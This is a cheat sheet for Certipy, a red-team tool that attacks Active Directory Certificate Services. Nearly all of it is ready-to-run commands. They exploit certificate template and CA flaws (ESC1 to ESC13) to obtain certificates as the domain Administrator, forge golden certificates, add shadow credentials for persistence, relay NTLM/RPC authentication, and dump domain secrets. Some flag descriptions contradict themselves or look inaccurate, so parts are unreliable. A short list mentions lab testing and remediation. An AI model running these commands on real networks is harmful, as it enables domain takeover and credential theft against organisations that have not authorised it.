Certipy
Certipy is a powerful Python tool designed for Active Directory Certificate Services (AD CS) enumeration, exploitation, and privilege escalation. It automates the discovery and exploitation of vulnerable certificate configurations, including ESC1-ESC13 vulnerabilities, making it essential for red teamers targeting modern AD environments.
Installation
Section intitulée « Installation »pip install certipy-ad
From GitHub (Latest Development Version)
Section intitulée « From GitHub (Latest Development Version) »git clone https://github.com/ly4k/Certipy.git
cd Certipy
pip install -r requirements.txt
python3 -m certipy --help
Verify Installation
Section intitulée « Verify Installation »certipy --version
certipy --help
Quick Start
Section intitulée « Quick Start »Basic Enumeration
Section intitulée « Basic Enumeration »certipy find -u user@domain.com -p password -dc-ip 192.168.1.100
Enumerate and Check for Vulnerabilities
Section intitulée « Enumerate and Check for Vulnerabilities »certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -vulnerable
Execute Request for Vulnerable Template
Section intitulée « Execute Request for Vulnerable Template »certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 -ca 'CA-NAME' -template vulnerable-template
Authenticate Using Certificate
Section intitulée « Authenticate Using Certificate »certipy auth -pfx cert.pfx -dc-ip 192.168.1.100
Enumeration
Section intitulée « Enumeration »Find Command Basics
Section intitulée « Find Command Basics »# Basic enumeration
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100
# Enumerate all templates (including disabled)
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -enabled
# Show only vulnerable templates
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -vulnerable
# Output as text (human-readable)
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -text
# Output as JSON (programmatic)
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -json
# Output to stdout (for piping)
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -stdout
BloodHound Integration
Section intitulée « BloodHound Integration »# Export for BloodHound (old format)
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -old-bloodhound
# Export for BloodHound (compatible with newer versions)
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -json > output.json
Advanced Enumeration Options
Section intitulée « Advanced Enumeration Options »| Flag | Purpose |
|---|---|
-u | Username (format: user@domain.com) |
-p | Password |
-dc-ip | Domain Controller IP address |
-enabled | Show enabled templates only |
-vulnerable | Show vulnerable templates only |
-text | Output in text format |
-json | Output in JSON format |
-stdout | Output to stdout |
-old-bloodhound | Export for BloodHound compatibility |
Certificate Template Abuse (ESC Vulnerabilities)
Section intitulée « Certificate Template Abuse (ESC Vulnerabilities) »ESC1: Misconfigured Certificate Templates (SAN)
Section intitulée « ESC1: Misconfigured Certificate Templates (SAN) »Vulnerable when: Template allows SAN specification and has an EKU allowing authentication.
# Enumerate for ESC1
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -vulnerable
# Request certificate with arbitrary SAN for Domain Admin
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template vulnerable-template -san Administrator@domain.com
# Extract and use certificate for authentication
certipy auth -pfx Administrator.pfx -dc-ip 192.168.1.100
ESC2: Any Purpose EKU
Section intitulée « ESC2: Any Purpose EKU »Vulnerable when: Certificate template has “Any Purpose” EKU, allowing use for any purpose.
# Enumerate for ESC2
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -vulnerable
# Request certificate
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template any-purpose-template
# Use for NTLM relay or other purposes
certipy auth -pfx cert.pfx -dc-ip 192.168.1.100
ESC3: Enrollment Agent
Section intitulée « ESC3: Enrollment Agent »Vulnerable when: Enrollment agent template exists and can request certificates on behalf of other users.
# Step 1: Request enrollment agent certificate
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template enrollment-agent
# Step 2: Use enrollment agent to request certificate for Domain Admin
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template vulnerable-template -on-behalf-of 'domain\Administrator' \
-pfx enrollment-agent.pfx
# Step 3: Authenticate as Domain Admin
certipy auth -pfx Administrator.pfx -dc-ip 192.168.1.100
ESC4: Template ACL Abuse
Section intitulée « ESC4: Template ACL Abuse »Vulnerable when: Non-admin users have WRITE or OWNER permissions on certificate templates.
# Enumerate template permissions
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -text | grep -A 20 "Permissions"
# Modify template to enable SAN (if you have write permissions)
certipy template -u user@domain.com -p password -dc-ip 192.168.1.100 \
-template vulnerable-template -modify -enable-san
# Request certificate with SAN
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template vulnerable-template -san Administrator@domain.com
ESC5: PKI Object ACL Abuse
Section intitulée « ESC5: PKI Object ACL Abuse »Vulnerable when: Non-admin users have control over PKI objects (CA, NTAuthCertificates, etc.).
# Enumerate PKI object permissions
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -text
# Modify PKI objects to add malicious certificate publisher
# (Requires specific permissions)
certipy pki -u user@domain.com -p password -dc-ip 192.168.1.100 \
-dc 'DC-NAME' -modify
ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2
Section intitulée « ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 »Vulnerable when: EDITF_ATTRIBUTESUBJECTALTNAME2 flag is enabled on the CA, allowing any template to use SAN.
# Enumerate CA flags
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -text | grep -i "EDITF"
# Request any template with arbitrary SAN
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template user -san Administrator@domain.com
# Authenticate as Domain Admin
certipy auth -pfx Administrator.pfx -dc-ip 192.168.1.100
ESC7: CA ACL Abuse
Section intitulée « ESC7: CA ACL Abuse »Vulnerable when: Non-admin users have WRITE or OWNER permissions on the CA object.
# Enumerate CA permissions
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -text | grep -A 10 "CA Permissions"
# Modify CA to enable EDITF_ATTRIBUTESUBJECTALTNAME2
certipy ca -u user@domain.com -p password -dc-ip 192.168.1.100 \
-modify -enable-editf
# Request certificate with SAN
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template user -san Administrator@domain.com
ESC8: NTLM Relay to HTTP Enrollment
Section intitulée « ESC8: NTLM Relay to HTTP Enrollment »Vulnerable when: HTTP enrollment is enabled without HTTPS requirement.
# Set up NTLM relay to CA web enrollment
# (Requires ntlmrelayx from Impacket)
certipy relay -dc-ip 192.168.1.100 -ca 'CA-SERVER' -template vulnerable-template
# Trigger NTLM authentication (via compromised system or coercion)
# Relayed credentials authenticate to CA web enrollment
# Certificate is requested and enrolled
ESC9 and ESC10: CT_FLAG_NO_SECURITY_EXTENSION
Section intitulée « ESC9 and ESC10: CT_FLAG_NO_SECURITY_EXTENSION »Vulnerable when: Certificate templates lack security extension, allowing NTLM relay without token binding.
# Enumerate for ESC9/ESC10
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -vulnerable
# NTLM relay attack targeting the template
# (Requires coercion or compromised account)
certipy relay -dc-ip 192.168.1.100 -ca 'CA-SERVER' \
-template vulnerable-template
ESC11: RPC Relay
Section intitulée « ESC11: RPC Relay »Vulnerable when: RPC authentication is relayed to AD CS without protection.
# Set up RPC relay (advanced technique)
# Requires interception and relay of RPC traffic to CA
# Typically combined with coercion techniques
certipy relay -rpc -dc-ip 192.168.1.100 -ca 'CA-SERVER'
ESC13: OID Group Link Abuse
Section intitulée « ESC13: OID Group Link Abuse »Vulnerable when: OID group links allow elevation of privilege through certificate issuance.
# Enumerate OID links
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -text | grep -i "OID"
# Request certificate leveraging vulnerable OID link
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template vulnerable-template
Certificate Authentication
Section intitulée « Certificate Authentication »PKINIT Authentication (Kerberos)
Section intitulée « PKINIT Authentication (Kerberos) »# Direct PKINIT authentication
certipy auth -pfx Administrator.pfx -dc-ip 192.168.1.100
# Request TGT using certificate
certipy auth -pfx cert.pfx -dc-ip 192.168.1.100 -kerberos
# Output TGT to file
certipy auth -pfx cert.pfx -dc-ip 192.168.1.100 -out tgt.ccache
Schannel Authentication (LDAPS)
Section intitulée « Schannel Authentication (LDAPS) »# Authenticate via LDAPS
certipy auth -pfx cert.pfx -dc-ip 192.168.1.100 -ldap-shell
# Interactive LDAP shell for further enumeration
certipy auth -pfx cert.pfx -dc-ip 192.168.1.100 -ldap-shell -verbose
Pass-the-Certificate
Section intitulée « Pass-the-Certificate »# Export TGT for later use
certipy auth -pfx Administrator.pfx -dc-ip 192.168.1.100 \
-out ticket.ccache
# Use TGT for authentication
export KRB5CCNAME=ticket.ccache
secretsdump.py -k -no-pass domain.com/Administrator@DC-NAME
Certificate Requests
Section intitulée « Certificate Requests »Basic Certificate Request
Section intitulée « Basic Certificate Request »# Request certificate from specific template
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template User
# Specify alternate output name
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template User -out mycert
Request with Subject Alternative Name (SAN)
Section intitulée « Request with Subject Alternative Name (SAN) »# Request with arbitrary SAN
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template vulnerable-template \
-san Administrator@domain.com
# Multiple SANs
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template vulnerable-template \
-san 'Administrator@domain.com' -san 'user2@domain.com'
Request On Behalf Of Another User (ESC3)
Section intitulée « Request On Behalf Of Another User (ESC3) »# Requires enrollment agent certificate
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template vulnerable-template \
-on-behalf-of 'domain\Administrator' \
-pfx enrollment-agent.pfx
Specify Certificate Output Format
Section intitulée « Specify Certificate Output Format »# PFX format (default)
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template User -out cert.pfx
# PEM format
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template User -out cert.pem
Shadow Credentials
Section intitulée « Shadow Credentials »Add Shadow Credentials (Persistence)
Section intitulée « Add Shadow Credentials (Persistence) »# Add msDS-KeyCredentialLink attribute
certipy shadow -u user@domain.com -p password -dc-ip 192.168.1.100 \
-account Administrator -action add
# Returns KeyCredential data for later authentication
List Shadow Credentials
Section intitulée « List Shadow Credentials »# List all shadow credentials on an account
certipy shadow -u user@domain.com -p password -dc-ip 192.168.1.100 \
-account Administrator -action list
Remove Shadow Credentials
Section intitulée « Remove Shadow Credentials »# Remove shadow credentials from account
certipy shadow -u user@domain.com -p password -dc-ip 192.168.1.100 \
-account Administrator -action remove
Auto Shadow Credentials
Section intitulée « Auto Shadow Credentials »# Automatically add, generate cert, and create TGT
certipy shadow -u user@domain.com -p password -dc-ip 192.168.1.100 \
-account Administrator -action auto
Get Shadow Credentials Info
Section intitulée « Get Shadow Credentials Info »# Display shadow credentials information
certipy shadow -u user@domain.com -p password -dc-ip 192.168.1.100 \
-account Administrator -action info
Account Persistence
Section intitulée « Account Persistence »Golden Certificates
Section intitulée « Golden Certificates »# Extract CA private key (requires SYSTEM on CA server)
certipy ca -pfx ca-cert.pfx -export
# Create certificate for arbitrary user
certipy forge -ca-pfx ca-cert.pfx -upn Administrator@domain.com \
-out golden-cert.pfx
# Authenticate with golden certificate
certipy auth -pfx golden-cert.pfx -dc-ip 192.168.1.100
DPERSIST Techniques
Section intitulée « DPERSIST Techniques »# Create persistent certificate for Domain Persistence
certipy req -u user@domain.com -p password -dc-ip 192.168.1.100 \
-ca 'CA-NAME' -template User
# Store certificate securely for later use
# Use certipy auth to authenticate after domain compromise recovery
Relay Attacks
Section intitulée « Relay Attacks »NTLM Relay to AD CS Web Enrollment
Section intitulée « NTLM Relay to AD CS Web Enrollment »# Start relay listener on HTTP enrollment endpoint
certipy relay -dc-ip 192.168.1.100 -ca 'CA-SERVER' \
-template vulnerable-template
# Trigger NTLM authentication from target (via coercion or compromise)
# Relay will automatically request certificate
# Use resulting certificate
certipy auth -pfx Administrator.pfx -dc-ip 192.168.1.100
RPC Relay to AD CS
Section intitulée « RPC Relay to AD CS »# Advanced RPC-based relay attack
certipy relay -rpc -dc-ip 192.168.1.100 -ca 'CA-SERVER'
Output Formats
Section intitulée « Output Formats »Text Output
Section intitulée « Text Output »certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -text > findings.txt
JSON Output
Section intitulée « JSON Output »certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -json > findings.json
BloodHound Integration
Section intitulée « BloodHound Integration »# Export for BloodHound (compatible with CE and Enterprise)
certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -json > bh-data.json
# Import in BloodHound: Raw queries → Import → select file
Stdout (for Piping)
Section intitulée « Stdout (for Piping) »certipy find -u user@domain.com -p password -dc-ip 192.168.1.100 -stdout | jq '.'
Troubleshooting
Section intitulée « Troubleshooting »| Issue | Solution |
|---|---|
| Authentication failed | Verify credentials and DC IP; ensure user has domain access |
| CA not found | Check CA name with -text output; use exact case-sensitive name |
| Certificate enrollment denied | Verify template permissions; check NTAUTHORITYCERTIFICATES |
| PKINIT not working | Ensure PKINIT is enabled on domain; check certificate EKU |
| No vulnerable templates found | ESC vulnerabilities may not exist; enumerate all templates first |
| Connection timeout | Verify DC IP is reachable; check firewall rules for LDAP/DC access |
Best Practices
Section intitulée « Best Practices »- Always enumerate first: Run
certipy findbefore attempting any exploitation - Document findings: Export results as JSON for analysis and reporting
- Test in lab first: Validate techniques in isolated test environment before production
- Check template permissions: ESC4 vulnerabilities often require understanding ACLs
- Disable vulnerable templates: Remediate ESC vulnerabilities by disabling templates or removing EKUs
- Monitor CA activity: Check CA logs for suspicious certificate requests
- Use strong credentials: Ensure accounts used for testing have appropriate permissions
- Clean up certificates: Remove test certificates and shadow credentials after testing
- Follow least privilege: Request only necessary templates; avoid unnecessary SAN values
- Track certificate lifecycle: Monitor issuance, usage, and revocation of test certificates
Related Tools
Section intitulée « Related Tools »| Tool | Purpose |
|---|---|
| Certify | C# alternative for AD CS enumeration (Windows environments) |
| ForgeCert | Forge certificates without CA private key (older technique) |
| PKINITtools | PKINIT-based attack tools for Kerberos exploitation |
| Rubeus | Kerberos interaction tool; pairs with certificate-based attacks |
| ntlmrelayx | Impacket tool for NTLM relay attacks (pairs with Certipy relay) |
| BloodHound | Network analysis; visualize certificate attack paths |
| ADCSPwn | Older tool for AD CS exploitation (use Certipy instead) |